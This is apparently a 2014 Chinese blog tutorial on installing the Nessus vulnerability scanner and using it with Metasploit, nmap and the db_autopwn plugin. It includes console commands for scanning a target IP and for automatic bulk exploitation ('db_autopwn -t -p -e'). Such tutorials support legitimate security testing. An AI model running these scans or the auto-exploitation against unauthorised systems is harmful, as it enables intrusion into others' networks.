1. 免费 如果你正在寻找一个漏洞扫描器,你可能已经遇到了大量的非常昂贵的商业解决方案,这些方案都有一长串的性能和优点。不幸的是,如果你和我们之中大部分人的情况一样的话,你一般根本没有运行这些奇特的系统的预算。你可能已经退而求其次,转向考虑使用像Nmap这样的免费工具。然而,你可能觉得使用这些工具是一种折衷的办法,因为它们的性能设置不能与商业解决方案相比。 这时候你就应该学会使用Nessus!这种免费工具提供了惊人的强劲性能设置,并且受到信息安全界的广泛支持 2. 对最新漏洞响应及时 从发现一个新的漏洞,到Nessus配置一个更新脚本来消除这一漏洞,这一时间间隔很短。实际上,Nessus利用通用漏洞披漏(CVE, Common Vulnerabilities and Exposures)体系,它推动了附属安全工具之间的交联连接。 3. 通用的、规范化的漏洞描述 Nessus工具的运行与其它扫描器略有不同。Nessus并没有声称提供了一种单一、包含漏洞的全部数据资料,并定期更新的工具,而是支持Nessus攻击脚本语言(NASL),允许安全专家使用简单语言来描述单个的攻击。Nessus的管理者在Nessus中囊括了所有可能漏洞的NASL描述,以开发他们的自定义扫描器 4. 支持分布式的扫描器架构 Nessus使用了一种有标准组件的机构体系,主要包括运行扫描程序的中央服务器和允许管理员介入的远程客户机。你可以在企业内部的多个节点上配置Nessus扫描服务器,并从独立客户端控制。这样你就可以从多个有利位置扫描网段,并在要求多个服务器同时运行的大型网络中进行扫描 5. 跨平台的运行支持 Nessus现在可以在多种平台上使用,包括Windows、各种版本的Linux、FreeBSD、Solaris和Mac OS X 6. 可扩展的插件式漏洞扫描方式 Every audit in the Tenable Nessus vulnerability scanner is coded as a plugin: a simple program which checks for a given flaw. Nessus uses more than 60,000+ different plugins, covering local and remote flaws.
2. 安装
http://www.tenable.com/products/nessus/select-your-operating-system
下载并安装
rpm -ivh nessus-5.2.7-es6.i386.rpm
3. 配置用户和规则
/opt/nessus/sbin/nessus-adduser
4. 启动nessus服务
/sbin/service nessusd start
cd /opt/nessus/bin: nessus的指令都在这个目录下面
5. 激活并下载安装NESSUS扫描插件
首次安装使用nessus需要注册激活,并下载nessus插件,因为nessus的下载是免费的,但是它的实际的功能也就是插件是需要购买licence得到的,而nessus的这些plugins才是扫描器和核心
1. 获取激活码 http://www.tenable.com/products/nessus/nessus-plugins/obtain-an-activation-code 2. 通过nessus-fetch注册,并安装插件 /opt/nessus/bin/nessus-fetch --register 1E04-8502-8DE0-6D4B-XXXX
6. 增加nessus策略配置
在初始安装情况下,nessus需要配置对应的扫描策略才可以进行扫描
https://localhost:8834/html5.html#/policies
7. 启动nessus扫描
nessus是一种B/S的分布式扫描器架构,我们可以使用WEB或者CLIENT客户端、或者本地命令行的方式连接nessus server,实际的扫描工作是nessus servre在进行
1. 本地命令行 ./nessuscmd --remote 127.0.0.1 --remote-port 8834 -p 1-1024 10.68.108.135 //输入刚才你建立的nessus的帐号和密码 2. WEB访问方式 https://localhost:8834/ //nessus server默认监听8843端口,也可以自己配置为其他的端口 3. 本地CLIENT方式 nessus client
8. 获取分析报告
Relevant Link:
http://blog.chinaunix.net/uid-20772927-id-579112.html http://www.tenable.com/plugins/
0x2: MSF(Metaspliot) With Nessus
Metasploit框架是Metasploit项目中最著名的创作,是一个软件开发、测试和利用漏洞的平台
1. 它可以用来创建安全测试工具开发的模块 2. 也可利用模块作为一个渗透测试系统 3. 除了渗透测试,该工具还能够在网络和Web应用程序中执行一个很好的漏洞评估,它有一些著名的安全漏洞扫描器以内置插件的形式存在 1) Nessus 2) Nexpose 3) open VAS 4) WMAP
最初是由HD Moore在2003年创建作为一种便携式网络工具包。它是所有的安全研究人员和黑客之间最受欢迎的渗透测试工具之一
1. 下载MSF
http://www.rapid7.com/products/metasploit/download.jsp
2. 安装MSF
1. 运行安装脚本 ./metasploit-latest-linux-installer.run 2. 根据GUI提示界面进行安装
3. 启动msfconsole、并加载nussus插件
在已经完成nessus配置的基础上,我们可以在metasploit的框架下去配合nussus进行漏洞测试
1. 启动msf msfconsole 2. 加载nessus within msf load nessus 3. 列出所有的Nessus的命令 nessus_help 4. 连接到nessusserver nessus_connect zhenghan:111@localhost:8834 ok //zhenghan:自己设置的nessus的用户名 //111:自己设置的nessus的密码 5. 检查Nessus的扫描策略 nessus_policy_list 6. 创建一个新的扫描 nessus_scan_new 5 NEW_SCAN 10.68.108.135 //2:代表采用的扫描策略 //NEW_SCAN:本次扫描的名字,仅用于标识 //10.68.108.135:扫描的目标IP 7. 检查扫描过程的状态 nessus_scan_status 8. 检查扫描的报告 nessus_report_list nessus_report_hostsnessus_report_hosts e125ef58-587e-6030-5567-30aa2b935053b1bcebf9b16c726d 9. 检查漏洞的详细协议名称和服务 nessus_report_hosts_ports nessus_report_host_ports 10.68.108.135 e125ef58-587e-6030-5567-30aa2b935053b1bcebf9b16c726d 10. 将报告发送到Nessus的控制台 nessus_report_get nessus_report_get e125ef58-587e-6030-5567-30aa2b935053b1bcebf9b16c726d //导入成功后,我们就可以通过WEB管理界面查看到本次扫描的结果了
4. 配置MSF连接的数据库
基于MSF框架在不同系统、模块之间共享数据、协作扫描需要依赖数据库的支持,mysql、postgres都可以,关于MSF下数据库的配置和连接请参阅另一篇文章
http://hi.baidu.com/306211321/item/b4b2ea1f75db1dea9913d659 http://www.postgresql.org/download/linux/redhat/ http://www.cnblogs.com/marsprj/archive/2013/02/08/2893519.html
Relevant Link:
http://www.cnnetsec.com/1452.html http://www.offensive-security.com/metasploit-unleashed/Nessus_Via_Msfconsole http://blog.163.com/hlz_2599/blog/static/14237847420134250582793/ https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment http://en.wikibooks.org/wiki/Metasploit/UsingMetasploit
0x3: MSF(Metaspliot) With db_autopwn
db_autopwn是一个自动化的MSF漏洞扫描插件,在连接postpres数据库的情况下,可以自动进行批量化的漏洞扫描
关于如何安装和配置的相关知识请参阅另一篇文章
http://hi.baidu.com/306211321/item/b4b2ea1f75db1dea9913d659
扫描的流程
1. 启动msf msfconsole 2. 加载db_autopwn模块 load db_autopwn 3. 连接postgres数据库 db_connect postgres:111@127.0.0.1/msfbook //postgres:postgres的账户名 //111:密码 //msfbook:连接的数据库 4. 清空上次扫描的IP信息 1) 删除指定ip db_hosts -d ip 2) 清空IP信息 db_hosts -d 5. 对待测试的目标IP进行初步扫描 db_nmap -sS -A 192.168.174.129 通过nmap的扫描可以获得一个目标主机的基本情况和端口情况 //msf会自动将扫描后的ip保存到postgres数据库中 6. 启动db_autopwn进行批量化扫描 db_autopwn -t -p -e
0x4: MSF(Metaspliot) With Nmap
MSF中集成了对NMAP扫描器的内置插件支持,同时msf支持对nmap扫描结果的兼容,可以直接将nmap的扫描结果导入msf中,进行批量的漏洞测试
Copyright (c) 2014 LittleHann All rights reserved